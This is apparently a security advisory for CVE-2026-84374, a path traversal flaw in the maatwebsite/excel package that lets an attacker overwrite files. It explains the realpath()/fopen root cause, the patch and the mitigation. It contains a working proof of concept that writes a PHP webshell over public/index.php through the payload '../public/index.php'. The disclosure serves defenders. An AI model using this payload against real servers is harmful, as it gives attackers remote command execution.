CVE-2026-84374: Laravel Excel (maatwebsite/excel) Path Traversal File Overwrite
Laravel Excel lets an attacker overwrite any file the PHP process can write to, including PHP source files, because the export path is resolved against the server filesystem instead of the configured…

The problem
The Disk::copy() method in src/Files/Disk.php calls realpath($destination) on the caller-supplied export path. realpath() resolves against the process working directory (typically public/), not the configured Flysystem disk root.
When the resolved path points to an existing writable file, the code opens it with fopen($destination, 'rb+') and streams the export directly to it. Flysystem is never consulted, so disk confinement, path traversal rejection, and remote disk routing are all skipped.
The affected entry points are Excel::store(), $export->store(), and ->storeExcel().
Proof of concept
A working proof-of-concept for CVE-2026-84374 in maatwebsite/excel, with the exact payload below.
<?php
// Attacker controls $filename from request input.
// Target: overwrite the Laravel front controller with a PHP webshell.
// The export row content becomes the file body (CSV writer emits values verbatim).
// A writable index.php must already exist (typical in public/).
use Maatwebsite\Excel\Concerns\FromArray;
use Maatwebsite\Excel\Facades\Excel;
class WebshellExport implements FromArray
{
public function array(): array
{
// CSV writer emits this cell value verbatim into the file.
return [['<?php system($_GET["cmd"]); ?>']];
}
}
// $filename comes from $request->input('filename')
// Payload value: "../public/index.php"
// realpath() resolves this to /var/www/html/public/index.php (exists), triggering fopen.
$filename = $request->input('filename'); // e.g. "../public/index.php"
Excel::store(
new WebshellExport(),
$filename, // unsanitized user input
'local', // disk is ignored for the overwrite branch
\Maatwebsite\Excel\Excel::CSV // explicit writer bypasses extension detection
);The root cause is CWE-73 / CWE-22: Disk::copy() used realpath() to decide whether to write via Flysystem or directly via fopen(). Because realpath() resolves against the OS working directory, a path like ../public/index.php resolves to a real path outside the disk root and hits the fopen branch.
The patch (commit b5cafdfcf7ec63924e83303763be8fcae340f70b) removes the realpath() branch entirely. All exports now go through $this->put($destination, $readStream), meaning Flysystem always enforces the disk root. Absolute paths and traversal segments that Flysystem would reject are now blocked for every export, including on remote disks such as S3 that were also bypassed before the fix.
The fix
Update to maatwebsite/excel >= 3.1.70. The fix is in commit b5cafdfcf7ec63924e83303763be8fcae340f70b. If you cannot upgrade immediately, never pass user-controlled input directly as the export path. Use basename() to strip directory components, or derive the filename entirely server-side: Excel::store($export, 'exports/' . basename($request->input('filename')), 'local');
Reported by seck19.
Related research
- high · 8.1CVE-2026-54178CVE-2026-54178: Backpack CRUD Arbitrary File Deletion via Unvalidated clear_<attr>[] Input
- highCVE-2026-55224CVE-2026-55224: MineAdmin Path Traversal in Plugin Install/Uninstall
- high · 7.5CVE-2026-63222CVE-2026-63222: CodeIgniter4 Path Traversal in UploadedFile::move()
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()